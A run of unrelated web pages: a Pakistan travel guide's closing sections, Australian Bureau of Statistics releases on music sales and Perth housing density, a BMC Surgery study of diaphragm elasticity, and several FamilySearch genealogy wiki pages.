In the warmer southern region, sweet drinks are readily available throughout the day. Look for street vendors that have fruits (real or decorations) hanging from their roofs. Also, some milk/yogurt shops serve lassi. Ask for meethi lassi for a sweet yogurt drink and you can also get a salty lassi which tastes good if you are having "bhindi" in food or some other rich dish. There is also a sweet drink called Mango Lassi which is very rich and thick, made with yogurt, mango pulp, and pieces of mango.
Alcohol (both imported and local) is available to non-Muslim foreigners at off licenses and bars in most top end hotels. The local alcoholic beer is called 'Murree Beer. It is illegal for Muslims to buy, possess or consume alcohol in Pakistan. There is a huge black market across the country and the police tend to turn a blind eye to what is going on in private.
Sleep
Hotels are usually found around busy transportation hubs like bus and train stations. Don't be fooled by an impressive lobby - ask to see the room and check the beds, toilets, lights, etc before checking in. If you have a big enough wallet you may want to try the reputable luxury hotels such as the Pearl Continental [11], Holiday Inn and others located in all major cities as well as many tourist destinations. With the exception of these upper-end hotels, the term "hotel" in Pakistan is reserved for simpler establishments, with "Guest House" referring to medium-sized establishments where the standard is typically higher. Also note that restaurants are also called "hotels", creating a fun potential for confusion.
Learn
Learn various dances. Taking some traditional cooking classes can also be very helpful later.
Work
Many Pakistani companies are looking for Sales representatives and usually all manner of companies will be happy to speak to a well-dressed Westerner about business.
Many tourists are known to buy leather goods and other curios in Pakistan sell them in Goa India or somehow get them shipped back to the West.
Otherwise your best way of working is contact the numerous Aid agencies that work out of Peshawar, Islamabad and Rawalpindi.
Stay safe
Pakistan is a fairly welcoming country, however you should be cautious of recent social violence and always seek advice about off-limits areas before coming.
It is strongly advised not to participate in any conversation against Islam.
Stay away from tribal areas and the sensitive Afghan border regions as the Pakistan government has little to no authority in these areas and cannot aid you in an emergency. If traveling in the south of the country seek advice from tourist offices and embassies about which areas are safe.
Stay healthy
Visitors are strongly advised to refrain from drinking tap water; many Pakistani locals themselves drink boiled or purified water. Take every precaution to drink only boiled, filtered or bottled water. Tap water is known to contain many impurities. Ice is usually made from regular tap-water, and may be even harder to avoid. Fresh milk from the carrier should be boiled and cooled before consumption. Non-pasteurized dairy can spread tuberculosis. Be careful of the people with a hacking cough. Nestle Milk Pak, Haleeb Milk, and others are trusted brands and are available at most grocery stores.
Take precautions against malaria, which is spread by mosquitoes. The first and most effective way is to avoid getting bitten, but if you plan to stay in a place where malaria is common, you may need to eat prophylactic medicine as well. The risk of getting Malaria decreases with higher altitudes.
In the summer it gets very hot. Be careful to stay hydrated.
Do not eat food that has been lying out for some time, as high temperatures speed up deterioration. Avoid posh but unfrequented restaurants.
Some Pakistani dishes can be very spicy! Always notify your host, cook or waiter if you can not take very spicy food.
Respect
Pakistanis pride themselves on their tradition of hospitality to guests (mehmanawazi in Urdu, milmastia in Pashtu, puranadari in Punjabi). Just a greeting of Salam Alaykum will get you far in endearing yourself to people. If you are travelling outside the big cities like Karachi, Lahore and Islamabad it is advisable to learn some basic Urdu or a regional language.
Just respect and observe. Pakistan is a conservative country and it is advisable for women to wear long skirts or pants in public (Pakistani women wear the traditional shalwar kameez). Dress codes for men are more lax, though shorts are uncommon. Never shake hands with a woman you don't know very well.
Never point the soles of your feet or shoes at anyone, as this is considered disrespecful. As with most of South Asia you should use your right hand for eating, shaking hands and giving or receiving everything (including money), and reserve your left hand for handling shoes and assisting in toilet duties.
Contact
PTCL (Pakistan Telecommunication Ltd.) [12] was a government-run phone company providing communications services such as land-line phones, mobile phones, Internet, and VoIP services. Now the company is privatized and is run by UAE's Phone company etisalat. Major providers of mobile phone service (GSM) are:
Calling from Price Syntax Example
Same city Local number 12345678
Same circle Local 92-area code-number 92-51-12345678
Different circle STD 0-area code-number 051-12345678
Overseas ISD +92-area code-number +92-51-12345678
This country guide is usable. It has links to this country's major cities and other destinations (and all are at usable status or better), a valid regional structure and information about this country's currency, language, cuisine, and culture is included. At least the most prominent attraction is identified with directions. An adventurous person could use this article, but please plunge forward and help it grow!
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Australian Bureau of Statistics
Celebrating the International Year of Statistics 2013
ABS Home > Statistics > By Release Date
4172.0 - Arts and Culture in Australia: A Statistical Overview, 2007
Previous ISSUE Released at 11:30 AM (CANBERRA TIME) 18/06/2007 Reissue
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RETAIL SALES
The 1998-99 Retail Industry Survey showed that retail sales of pre-recorded audio CDs totalled $838.9m in that year. Businesses predominantly involved in retailing recorded music accounted for almost 66% of sales, while department stores accounted for a further 21%. Retail sales of other pre-recorded audio media amounted to $118.8m.
13.1 RETAIL SALES OF PRE-RECORDED AUDIO MEDIA(a) - 1998-99
Income
Percentage share
Industry
$m
%
Pre-recorded audio CDs
Recorded music retailing
552.0
65.8
Department stores
173.7
20.7
Domestic appliance retailing
81.7
9.7
Other retailers
31.5
3.8
Total
838.9
100.0
Other pre-recorded audio media
Recorded music retailing
18.0
15.2
Retailing n.e.c.
**13.7
**11.5
Other retailers
87.1
73.3
Total
118.8
100.0
** estimate has a relative standard error greater than 50% and is considered too unreliable for general use
(a) Excludes sales by retail businesses with no employees.
ABS, Retail Industry, Commodity Sales, 1998-99 (cat. no. 8624.0).
The ABS Retail Industry Survey also estimated that sales of musical instruments totalled $268.2m in 1998-99, although caution must be exercised with this figure as it has a high relative standard error.
See Chapter 3 for information on household expenditure on music.
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© Commonwealth of Australia 2013
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Australian Bureau of Statistics
Celebrating the International Year of Statistics 2013
ABS Home > Statistics > By Release Date
1304.5 - Stats Talk WA, Sep 2010
Previous ISSUE Released at 11:30 AM (CANBERRA TIME) 29/09/2010
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Housing Density
Western Australia Statistical Indicators
Only one third of building approvals in Perth are for medium to high density housing.
Over the past four years, Western Australia has been the fastest growing state, with Perth the fastest growing capital city. Projections suggest that the population of Perth could grow to more than 2.2 million by 2031. To house this anticipated growth, the Western Australian Department of Planning estimates an extra 328,000 dwellings will be needed across the Perth and Peel Region.
An analysis was recently undertaken by the ABS to explore the relative proportions of building approvals for low, medium and high density housing to gauge the extent to which residential densities in Perth may be changing.
Using a methodology first adopted in a 2001 study, dwelling approvals by development type were scrutinised to see whether housing density in Perth may be moving towards higher urban density. Where approvals for medium density and high density dwellings increase as a proportion of total dwelling approvals, greater density can be achieved.
A comparison of results from the current and 2001 studies identified minimal change in the mix of dwelling types over the decade. Over two-thirds of building approvals in the Perth metropolitan area continued to be for single detached houses on their own block of land.
The earlier study had reported that single houses accounted for 68% of all residential building approvals; this compared with 67% in the current analysis. Similarly, clustered dwellings (comprising grouped houses, semi-detached, row or terrace houses and townhouses) accounted for 21% of all approvals in the recent study, slightly lower than the 23% reported in 2001. However, a small increase in the proportion of building approvals for flats, units and apartments, rising from 9% to 12% of all approvals, was noted.
Despite minimal change in the mix of dwelling types at this broad level, there was some evidence of increasing densification within medium and high density developments. In particular, within approvals for clustered dwellings, there was a trend away from two-dwelling developments in favour of three-dwelling developments on a single parcel of land. This may reflect a shift towards higher density grouped developments, allowing for greater utilisation of available land resources.
Not surprisingly, approvals for medium and high density dwellings tend to be concentrated in the older inner suburban areas of the city, while approvals for low density housing dominate in the outer metropolitan areas.
For further information see the full feature article A View of Housing Density in Perth, 2005-2009, released 30 July 2010 in Western Australian Statistical Indicators (cat. no. 1367.5).
You can now subscribe to Western Australian Statistical Indicators (cat. no. 1367.5) and be notified when new updates are released.
Just access the publication on the ABS website (www.abs.gov.au) and click on the ‘email notification’ link in the green Page Tools bar.
WASI offers opportunities for in-depth analyses on economic, demographic, social or environmental topics to be undertaken on your behalf.
Examples of recent articles include:
• Adult Literacy in Western Australia.
• Housing Finance - Subsidies for First-Home Buyers.
• Preparedness for Emergencies and Household Assistance Required.
Suggestions for analytical articles on issues of relevance to the WA community are always welcome. Contact Sue Lee on (08) 9360 5391
© Commonwealth of Australia 2013
Unless otherwise noted, content on this website is licensed under a Creative Commons Attribution 2.5 Australia Licence together with any terms, conditions and exclusions as set out in the website Copyright notice. For permission to do anything beyond the scope of this licence and copyright terms contact us.
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Australian Bureau of Statistics
Celebrating the International Year of Statistics 2013
ABS Home > Statistics > By Release Date
3303.0 - Causes of Death, Australia, 2009 Quality Declaration
Previous ISSUE Released at 11:30 AM (CANBERRA TIME) 03/05/2011
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Issues for causes of death data:
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Australian Bureau of Statistics
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5608.0 - Housing Finance for Owner Occupation - Savings Banks and Trading Banks, Australia, Jun 1979
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Research article
Experimental investigation of the elasticity of the human diaphragm
Gerhard Steinau1*, Christian Hohl2, Andreas Prescher3, Daniel Kaemmer1 and Gabriele Böhm1
Author Affiliations
1 Department of Surgery, University Hospital Aachen Pauwellsstr 30, 52074 Aachen, Germany
2 Department of Diagnostic and Interventional Radiology HELIOS Hospital Siegburg, Ringstr 49, 53721 Siegburg, Germany
3 Institute for Anatomy, University Hospital Aachen, Pauwelsstr. 30, 52074 Aachen, Germany
For all author emails, please log on.
BMC Surgery 2010, 10:5 doi:10.1186/1471-2482-10-5
The electronic version of this article is the complete one and can be found online at: http://www.biomedcentral.com/1471-2482/10/5
Received:27 May 2009
Accepted:30 January 2010
Published:30 January 2010
© 2010 Steinau et al; licensee BioMed Central Ltd.
This is an Open Access article distributed under the terms of the Creative Commons Attribution License (http://creativecommons.org/licenses/by/2.0), which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly cited.
Abstract
Background
Traumatic diaphragmatic ruptures affect mainly the left side. In an experimental study in human corpses we examined the stretch behaviour of the left and right diaphragmatic halves.
Methods
In a total of 8 male and 8 female corpses each diaphragmatic half was divided into 4 different segments. Each segments stretch behaviour was investigated. In steps of 2 N the stretch was increased up to 24 N.
Results
In the female the left diaphragm showed a stronger elasticity compared to the right. Additionally the left diaphragm in females showed a higher elasticity in comparison to the left in males. Traumatic diaphragmatic ruptures affect mostly the central tendineous part or the junction between tendineous and muscular part of the diaphragmatic muscle. Accordingly we found a lower elasticity in these parts compared with the other diaphragmatic segments.
Conclusion
In summary it can be said that albeit some restrictions we were able to determine the elasticity of different diaphragmatic segments quantitatively and reproduceably with our presented method. Thereby a comparison of results of different diaphragmatic segments as well as of both diaphragmatic halves and of both genders was possible
Background
Diaphragmatic ruptures arise from blunt trauma. They appear predominantly on the left side [1,2]. A hypothesis for this phenomenon is seen in the protected position of the right diaphragm above the liver. No investigations exist as to whether the preference for the left side could not be caused by a different stretch behaviour of the two diaphragm halves.
Since tears mainly occur within the Centrum tendineum or at the junction of tendineous and muscular part of the diaphragm [3], our investigations in corpses focussed especially on the stretch behaviour of the centrum tendineum, the junction between tendineous and muscular part and the connection between diaphragm and the thoracic wall. If the traumatic force mainly involves the thoracic wall it may also disrupt the diaphragm at its costal or vertebral insertions [2,4]. Up to now comparative investigations have not been described in the literature.
Methods
For this project we investigated human corpses. These persons while still alive had kindly agreed to place their corpses after death at the disposal of the University Department of Anatomy according to ethical and legal standards. The diaphragms of 8 male and 8 female corpses were investigated. The age of the male corpses ranged from 45 to 78 years, of the females from 46 to 79 years. The delay of time between death and investigation of the diaphragm for the male ranged between 12 and 85 hours, for the female between 12 and 120 hours. No macroscopic visible changes of the diaphragms were present, and no systemic illness potentially affecting the mechanical function of the diaphragm were known (Figure 1)
Figure 1. Excised diaphragm from above. 1. Excised part for left segment of diaphragm; 2. Excised part for right segment of diaphragm;3. Sternum; 4. Ribs; 5. Aorta; 6. Hiatus oesophagus; 7. Foramen venae cavae
Experimental set-up
The measuring device consisted of an octagonal 3-cm-wide aluminium frame. Inbuilt in each inner side of this octagon were holding devices to which spring-balances were connected. Two spring-balance fixtures were adjustable in their lengths and could be used as measurement devices for smaller structures. The whole construction stood on four height-adjustable base feet. Figure 2 shows a pattern of the rack (Figure 2).
Figure 2. Experimental set up.
Experimental sequence
Out of every diaphragmatic half a 3-cm-wide stripe was excised. At one end of this stripe the muscle inserted into two neighbouring ribs. In the following text we call this part of the stripe 'rib insertion'. At the other end of the diaphragmatic stripe was the centrum tendineum. As demonstrated in Figure 3 the stripe was segmented into 4 parts: segment one were the ribs, segment two was muscle, segment three was the junction of muscle and tendineous part, segment four the centrum tendineum (Figure 3).
Figure 3. Diaphragmatic segment in detail. For evaluation defined segments: r: rib insertion; m: Muscular segment (part of the costal area); j: Junction of muscle and tendon; t: Tendon part (part of central ares)
The used measuring devices were commercial mechanical spring-balances with a maximum tractive power of 25 N and a feather way of 10 cm. The exactness amounted to 1% of the maximum permissible load according to manufacturer's specifications
Investigational procedure
The stretch of the stripes took place through the crank screws and the force transmitted onto the stripes could be read on the spring-balances. In steps of 2 N the strength effect was increased. At 2 N the first digital photo of the stripe was made. The used digital camera had a resolution of 640 × 480 pixels. By means of a tripod the camera was brought in its position above the work station. The distance between stripe and camera amounted to 45 cm. The investigation was finished at the premature rupture of the stripe or when 24 N were accomplished.
Analysis
Purpose of the experiment was to record the stretch behaviour of the different diaphragm stripes. We measured the proportional strech during constantly increasing traction force. Linear regression analysis of these proportional stretch steps resulted in a certain stretch value specific for each segment of the stripe. Microsoft Excel 97 was used for the analysis.
Evaluation of the data followed Hooke's law: F = -k·delta L. (F = force, k = spring constant, delta L = distance). The strech value sv is defined as the reciprocal value of the spring constant k.
During the experiment the length of a segment was displayed by the distance of pins or markers. By means of their co-ordinates on the digital photo the length of each segment was measured in pixel for every stretch step. Because the measurement began with 2 N, the length of the segments at 0 N was extrapolated with Excel. With this extrapolated output length we calculated the proportional stretch for every stretch step. For the analysis of the strech behaviour of the diaphragm stripes, we plotted the length increase against the traction force displayed on the balances. Using the linear regression method we calculated the slope of the graph representing the strech value sv = 1/k. For the characterization of the stretch behaviour of each segment we therefore evaluated stretch curve and a stretch value in each case.
Results
Stretch values in comparison
The stretch value of all 16 investigations were evaluated separately according to diaphragmatic segment, sex and side localisation. 8 measured values per sub-group were available for the determination of the mean and standard deviation. For statistical analysis of the difference in stretch behaviour between left and right diaphragm we used the linked Wilcoxon test.
The average of the stretch values 10-5 mN-1 can be seen in table 1.
Table 1. The average of the stretch values (10-5 mN-1)
Male diaphragms
Measurements in all right and left stripes took place up to 24 Newton. Up to this point no tears were observed nor could we detect any signs of weakness predicting a forthcoming tear. In one right stripe the measured value taken at 24 N was not taken for evaluation. Here the stripe stretched with rising charge of 22 to 24 Newton so strongly that a measuring artefact was supposed on grounds of an imminent tear.
The highest elasticity was observed at the rib insertion in 15 stripes (in 8 of the left and 7 of the right side). The next best elasticity was seen in the muscle part of 14 stripes. Less elasticity was seen at the junction of muscle and tendon. In all examined stripes the tendineous segment showed the least elasticity (Figure 4).
Figure 4. Stretch values for diaphragmatic segments in males.
With many stripes of both diaphragmatic sides we observed a 2-phase stretch behaviour, particularly for the rib insertion as well as the muscular part. At the beginning of the stretch these parts showed a higher elasticity. During further stretching a second phase was observed where no increase in elasticity was observed, rather a stagnation.
Female diaphragms
In total 16 diaphragms (8 right and 8 left halves) were examined. With three of the examined diaphragm stripes (1 of the right, 2 of the left side) an exceedingly strong increase of the elasticity was observed. This occurred in 2 stripes at the increase from 20 to 22 N and in the other at the increase from 22 to 24 N. In the latter the diaphragm tore at 24 N. With all other investigated stripes the measurements could be carried out up to 24 N.
The most elastic part was the rib insertion in all but three stripes, the muscular segment was only slightly elastic, followed by the junction between muscle and tendon. The most rigid part again was the tendineous part. (Figure 5).
Figure 5. Stretch values for diaphragmatic segments in females.
In contrast to the male stripes a 2-phase stretch behaviour could seldom be observed with the female stripes in the according segments. In the female case we found a near linear stretch behaviour in most stripes of the four segments.
Comparison of female and male diaphragmatic stripes
The comparison of the average stretch values of left diaphragmatic halves in women with those in men shows that all four female diaphragmatic segments are more elastic than the according male segments (Figure 6). The rib insertion segment in the female is 48.2% more elastic than in the male. For the muscular segment the elasticity lies accordingly at 49.8% higher in the female, for the junction of muscle and tendon at 37.8% and for the tendineous segment at 24.3%.
Figure 6. Stretch values for left diaphragmatic half in males and females.
The right diaphragmatic halves don't show these differences. The female rib insertion segment is 13.5% more elastic than in the male, the muscular segment 6.1% (Figure 7). The difference is altogether less prominent compared to the left diaphragm. For the junction segment and the tendon segment the male stripes show a higher elasticity. In the male the latter show a higher elasticity by 16.3% and 24.4% respectively.
Figure 7. Stretch values for right diaphragmatic half in males and females.
Comparison of left and right diaphragmatic halves
If one compares the stretch average values in the male left and right diaphragmatic half, the muscular segment of the right side is 14.6% more elastic. The rib insertion and junctional segments of both sides have similar elasticity, with stretch differences being less than 5%. The rib insertion segment is with 1.8% more elastic on the right side, the junctional segment is with 4.3% more elastic on the left side (Figure 8).
Figure 8. Stretch values for diaphragmatic segments in males.
In the female all four segments on the left side show a higher elasticity compared to the right. The rib insertion segment is by 28.3% more elastic on the left than on the right, the muscular segment by 16.9%, the junctional segment by 67.1% and the tendineous segment by 34.9%. A statistically significant difference could neither be found when comparing right and left diaphragmatic stripes in male or female nor when comparing according segments in male and female.
Discussion
Possible causes for a diaphragmatic rupture are direct (penetrating and shot injuries) as well as indirect (traffic accidents, fall from great height and blunt trauma) forces. 75% of all diaphragmatic injuries are caused by blunt traumas, 25% by penetrating injuries [2,5]. Most cases of blunt traumas lead to a massive wide force on the abdominal and thoracic cavity. The result is an acute increase in intraabdominal pressure exerting its forces on a reflectively contracted diaphragm. When the pressure rises to a certain value the elastic limit is reached and this causes the indirect diaphragmatic rupture [1].
According to calculations by Sauer and Lutz in 1976 this sudden increase of intraabdominal pressure has to reach more than 100 mm Hg in order to cause rupture [6]. As a rule this leads to a tear within the centrum tendineum or within the junctional segment of the diaphragm [2,5]. If the traumatic force on the other hand mainly hits the thoracic wall, the destruction of the diaphragm is due to the snap back of the compressed diaphragm resulting in a tear at the costal and vertebral insertions [2,4].
The present experimental set-up was developed to measure the elasticity of the human diaphragm quantitatively. Up to now only stamp compression tests on rats have been described in the literature [7]. With the latter no answers could be given as to what mechanical qualities different diaphragmatic segments have. Therefore, the development of a new experimental concept was necessary.
It also would have been interesting to put one fixation point at the sternum. However, many corpses had a previous thoracotomy and would not have been suitable. In order to keep a certain corpse number we rejected this idea. Consequently neither the triangle of Bochdalek nor of Larrey-Morgagni, which count as locus minoris resistentiae, were included in the examined diaphragmatic parts. We also abandoned the idea of a lumbar fixation since its construction would have meant an enormous effort with little promise of significant outcome.
By this restriction on a well functioning measuring distance we were able to increase the stretch tension to a maximum value of 24 N. This maximum value was orientated on the elasticity measurements of the abdominal wall [7,8] and turned out to be a convenient parameter.
The sex-specific comparison of the mean stretch values showed a higher elasticity for the rib insertion segments and the muscular segments in women. The muscular part of the measured female diaphragms was always thinner compared to the male, and as a rule has a lower surface value in the female. This leads to an increased elasticity in the female.
Because of the biologically given diaphragmatic thickness the female muscular part and the female rib insertion zone are more flexible than the according male segments. Whether the latter is only due to the thickness of the muscle or whether other tissue qualities play a role, cannot be said at present.
The comparison of the outcome with regard to the sexes only showed a higher elasticity in two female segments on the left side of diaphragm (junctional zone and tendinuous part). On the right side, however, these segments showed a higher elasticity in men.
Within the applied range of forces two ruptures at the rib insertion of muscle occurred, both times in female corpses. Nevertheless, in the literature diaphragmatic ruptures are more frequently described in men [2]. In general may be due to the way the force is applied in our experiments that this rather leads to a disruption at the rib insertion than to a tearing within the tendineous part or at the junction of tendon and muscle. Within clinical context it is often a pressure load exerting the force and this leads mainly to tears within the latter two areas [3,9]. We assume therefore that the female muscle insertion at the rib more easily withstands pressure than a tearing force.
Since an acute increase in intraabdominal pressure is the main cause of diaphragmatic rupture [1,2] the defect manifests itself rather within the tendon or at the junction zone. Due to this type of force in clinical practice the increased tendency of tearing at the rib insertion in our experimental setting with tearing rather than pressure force being exerted would therefore in real life be less likely.
Because in men the muscular diaphragmatic area shows a greater thickness this could be a reason for more frequent tearing within the centrum tendineum or the transitional area in men compared to women. Important for the pathogenetic mechanism is that the force of increased abdominal pressure hits the contracted diaphragm. In the case of greater muscle mass in cross section a bigger tension would be built up, so that this area is more likely to tear [1,2,10]
The explanatory power of the investigations is limited by the absence of muscle tone during the stretch measurements which certainly influences the elasticity. Moreover the diaphragm is shaped three-dimensionally like a dome and this is not taken into account by the linear stretch measurements in our setting. Besides, it is unclear whether the area well-chosen for the measurements can be representative for the whole diaphragm and whether the effect of the measured tearing forces are comparable with the effect of a traumatic pressure force.
Because the tearing that follows a traumatic diaphragmatic rupture mostly occurs in the centrum tendineum or within the junctional zone [2,5], we particularly examined these two segments for conspicuities in their stretch behaviour. Both segments showed a lower elasticity than the remaining examined segments of the diaphragm. Also no ruptures appeared within these areas during our investigations. A possible explanation of this contradiction could be the absent muscle tone.
The rarer rupture at the costal or lumbar insertion rather occurs with thoracic traumas. Here the disruption of the diaphragm occurs due to the sudden springing back of the beforehand compressed diaphragmatic aperture [4]. Our own experiments rarely showed a rupture, and if so its localisation was always observed at the rib insertion. The rib insertion segment also owned a substantially higher elasticity compared to the other segments. The applied tearing force rather leads to a disruption at the rib insertion than to a tearing of the other examined segments. This conclusion agrees with the pathophysiological mechanism described by Schafmayer where a tearing force leads to rupture at the rib insertion.
Conclusions
In summary it can be said that albeit some restrictions we were able to determine the elasticity of different diaphragmatic segments quantitatively and reproduceably with the above presented method. Thereby a comparison of results of different diaphragmatic segments as well as of both diaphragmatic halves and of both genders was possible
Competing interests
The authors declare that they have no competing interests.
Authors' contributions
GS and GB have made substantial contributions to conception and design. GB and AP have been involved in revising the manuscript critically for important intellectual content. GS has made substantial contributions to acquisition of data. CH and DK have been involved in analysis and interpretation of data and GS has given final approach of the version to be published. All authors read and approved the final manuscript.
Acknowledgements
We are thankful to Uwe Klinge for revising the manuscript.
References
1. Steinau G, Bosman D, Dreuw B, Schumpelick V: Diaphragmatic injuries--classification, diagnosis and therapy.
Chirurg 1997, 68(5):509-512. PubMed Abstract | Publisher Full Text
2. Matsevych OY: Blunt diaphragmatic rupture: four year's experience.
Hernia 2008, 12(1):73-78. PubMed Abstract | Publisher Full Text
3. Schumpelick V, Steinau G, Schlüper I, Prescher A: Surgical embryology and anatomy of the diaphragm with surgical applications.
Surg Clin N Am 2000, 80:213-239. PubMed Abstract | Publisher Full Text
4. Schafmayer A, Kohler H, Pfannkuche A: Diaphragmatic injuries, classification and therapy.
Langenbecks Arch Chir Suppl II Verh Dtsch Ges Chir 1990, 601-605. PubMed Abstract
5. Esme H, Solak O, Sahin DA, Sezer M: Blunt and penetrating ruptures of the diaphragm.
Thorac Cardiovasc surg 2006, 54:324-327. PubMed Abstract | Publisher Full Text
6. Sauer K, Lutz W: Die traumatische Zwerchfellruptur: Diagnostik, Behandlung, Spätergebnisse.
Unfallheilkunde 1976, 79:349-357. PubMed Abstract
7. Schindler A: Tierexperimentelle Untersuchungen zum sekundären Verschluß großer kongenitaler Zwerchfellhernien.
Dissertation RWTH Aachen 1998.
8. DeTroyar A: Impact of diaphragmatic contraction on the stiffness of the canine mediastinum.
J Appl Physiol 2008, 105:887-893. PubMed Abstract | Publisher Full Text
9. Junge K, Klinge U, Prescher A, Giboni P, Niewiera M, Schumpelick V: Elasticity of the anterior abdominal wall and impact for reparation of incisional hernias using mesh implants.
Hernia 2001, 5:113-118. PubMed Abstract | Publisher Full Text
10. Paulin E, Yamaguti WP, Chammas MC, Shibao S, Stelmach R, Cukier A, Carvalho CR: Influence of diaphragmatic mobility on exercise tolerance and dyspnea in patients with COPD.
Respir Med 2007, 101:2113-2118. PubMed Abstract | Publisher Full Text
Pre-publication history
The pre-publication history for this paper can be accessed here:
http://www.biomedcentral.com/1471-2482/10/5/prepub
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Contents
Center Contacts and Hours
Location & Map:
1. (Address)
2. (Include information about your center that would be helpful for first time visitors such which entrance in the building to use, parking, etc. Use as many or as few bullet points as needed.)
3. (Link to map using Google or other map sites)
Phone:
E-mail:
Open Hours:
Holiday Schedule:
Calendar and Events
Upcoming Events
Class Schedule
Staff Training Meetings
Center Resources
Collections
• Family History Library Catalog: This center has the ability to order any of the films and fiche available through the Family History Library Catalog.
• (List additional collections you have such as the types of books and microfilm you have on indefinite loan; though you will not want to list every single item you have. Just give visitors to this page a general idea of your resources.)
Databases and Software
• FHC Portal This center has access to the Family History Center Portal page which gives free access in the center to premium family history software and websites that generally charge for subscriptions. (Note to FHC: Not all FHCs have access to this portal. If you do not, you will want to remove this entire bullet. If you do have access to it, just remove this text in italics.)
Hardware and Equipment
• (Include the resources you have to help individuals do their research - computers, microfilm readers, printers, etc. )
Center Services
Staff Research Specialties
(Include sections for any other services your center provides. Add additional sections for those services. See the Mesa and Logan FHC pages for examples.)
Resources in the Local Area
(This section is to highlight other resources in your area that will be helpful for individuals doing research there in your location, if there are any, such as government offices, historical societies, etc.)
Links
(Include links to other websites of interest to those who visit your center such as links to the city, county and state wiki pages where your center is located.)
Volunteer at the Center
(Include information here about the volunteers you are looking for.)
Need additional research help? Contact our research help specialists.
Need wiki, indexing, or website help? Contact our product teams.
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• This page was last modified on 11 April 2013, at 20:07.
• This page has been accessed 215 times.
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Verst Parish, Ribe, DenmarkEdit This Page
From FamilySearch Wiki
Denmark > Ribe > Verst
Contents
History
(Write information such as: how old the parish is, interesting facts about the parish, what alternate names it has, or any boundary changes.)
Verst Parish
Jurisdictions
Stift Add here
Pastorat Add here
Amt 1662 - 1793 Koldinghus
Amt 1794 - 1970 Ribe
Herred Anst
Kommune Add here
1788 – 1793 Lægd number 43
1794 – 1869 Lægd number 81
Retskreds Add here
Skifteretten Add here
Gods Add here
Place Names
Bremerholm, Bulargergaard,
Gammelenge,
Hostrupgaard, Husted, Hustedgaard,
Lille Hustedgaard,
Margretesbjerg,
Søbjerggaard,
Tersbølgaard,
Varregaard, Verst Skov, Verst, Verstgaard, Vester Torsted,
To see what kind of place it is you will need a Danish Gazetteer.
• Surrounding Parishes
Collections
(write information about the different collections, or tips on using them)
• Census Records
• Church Records
• Court Records
• Military Records
• Probate Records
Related Sources
• Digital
• Printed
Societies and Libraries
References
J.P. Trap, Danmark, Femte Udgave 1965 Ribe Amt.
Need additional research help? Contact our research help specialists.
Need wiki, indexing, or website help? Contact our product teams.
Did you find this article helpful?
You're invited to explain your rating on the discussion page (you must be signed in).
• This page was last modified on 10 May 2012, at 21:28.
• This page has been accessed 72 times.
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Family History LibraryEdit This Page
From FamilySearch Wiki
Revision as of 18:25, 17 January 2013 by Brissonbankscv (Talk | contribs)
Family History Library.jpg
Welcome to the
FamilySearch
Library
page
Contents
Announcements
Jan 16: The FHL International Floor will begin testing a new service model on February 1, 2013 for the Nordic countries of Sweden, Norway, Denmark, Finland and Iceland. Click here for more information.
Contact Information
E-mail: www.familysearch.org/help/self-help
Address:
35 North West Temple Street
Salt Lake City, Utah 84150-3400
Telephone:
• Research Help: 866-234-2067
• Classes, Hours, Parking: 801-240-6536
• Lost and Found: 801-240-3527
Hours and holidays: Click here or call the phone number above.
Parking and Transportation:
Copy Fees:
• Black and white 8 1/2 x 11: U.S. $.05
• Black and white 11 x 17: U.S. $.10
• Color 8 1/2 x 11: U.S. $.30
• Color 11 x 17: U.S. $.60
More copy information
Library Rules
1. Set cellular phones to silence or vibrate. Phones should not “ring” in the Library. Quiet
cell phone conversations are permitted in the Library. Please be respectful of those
around you. Library staff is authorized to request that patrons discontinue phone
conversations.
2. Do not leave personal belongings unattended. The library is not responsible for items
that are lost, stolen or damaged. We encourage patrons with laptop computers to lock
them to the furniture where they are seated.
3. If you plan to vacate a microfilm reader for more than 60 minutes or a computer for
more than 15 minutes, please take your material with you. If demand is high materials
may be removed by staff and stored at the Access Services window.
4. Please handle the equipment, books, and other materials carefully.
5. Please re-file microfilms and return books to the red shelves, or red carts, near the
row from which they came.
6. When using photocopy equipment, please limit yourself to five copies when others
are waiting. While using Scan Pros please limit usage to 15 minutes while others are
waiting.
7. If readers or copiers malfunction, please inform an Access Assistant at the Access
Services window. An “out of order” sign will be placed on non-operational equipment
until it can be repaired.
8. Announcements are made 45 minutes, 30 minutes and 15 minutes prior to closing of the
Library. Please leave the Library prior to closing time.
9. Food and drinks are permitted only in the main floor snack room. (Water bottles with
closed lids are permitted.)
10. Animals: No animals are allowed in the Family History Library unless they are trained
service animals assisting persons with disabilities.
11. Clothing and Dress Standards: Appropriate dress is required in the Family History
Library which includes shirt, pants and shoes at all times.
12. Children under twelve must be accompanied by an adult.
13. Smoking is not permitted anywhere in the building or on the grounds.
14. We invite patrons to use the Patron Feedback link on patron computers to share
rewarding experiences, compliments, suggestions, and concerns.
15. Please observe all posted instructions.
Library Background
• Founded in 1894 to gather genealogical records and assist members of The Church of Jesus Christ of Latter-day Saints with their family history and genealogical research • Largest library of its kind in the world • Open to the general public at no charge • Visited by an estimated 1,900 or more individual patrons and groups each day.
Library Resources
Patron Class Schedule
• January, 2013
• February, 2013
• March, 2013
Online Resources
FamilySearchis the online web site which hosts: • Historical Records (images and indexes). • Digitized Books. • FamilySearch Research Wiki. • Online training classes. • The Ancestral File. • The International Genealogical Index. • The Pedigree Resource File database. • US Social Security Death Index.
The FamilySearch Library Catalog online describes the library's holdings.
Collection Description
• The collection includes over 2.4 million rolls of microfilmed genealogical records; 727,000 microfiche; 356,000 books, serials, and other formats; 4,500 periodicals; 3,725 electronic databases.[1]
• Historical Records contains over a billion names of deceased individuals from census, vital records, and other records from over 100 countries on each of the seven continents. It includes indexes and images of many original records.
• Digitized Books contain searchable copies of over 40,000 family history and genealogy printed works.
• FamilySearch Research Wiki contains research advice and direction in over 70,000 articles. Individuals are able to add or modify content to share their knowledge.
• Learning Center contains hundreds of online classes on a variety of subjects for many different countries and most genealogical principles and processes.
• The Ancestral File database contains more than 36 million names that are linked into families.
• The International Genealogical Index database contains approximately 600 million names of deceased individuals. An addendum to the International Genealogical Index contains an additional 125 million names. These names have been patron submitted or extracted from thousands of original birth, christening and marriage records.
• The Pedigree Resource File database contains over 100 million names that are linked into families.
• Records available are from the United States, Canada, the British Isles, Europe, Latin America, South America, Asia, Australia and Africa.
• Millions of records are added to the collection each month.
• A majority of the records contain information about persons who lived before 1941.
• Approximately 200 cameras are currently microfilming records in over 45 countries. Records have been filmed in over 110 countries, territories, and possessions.
Donations
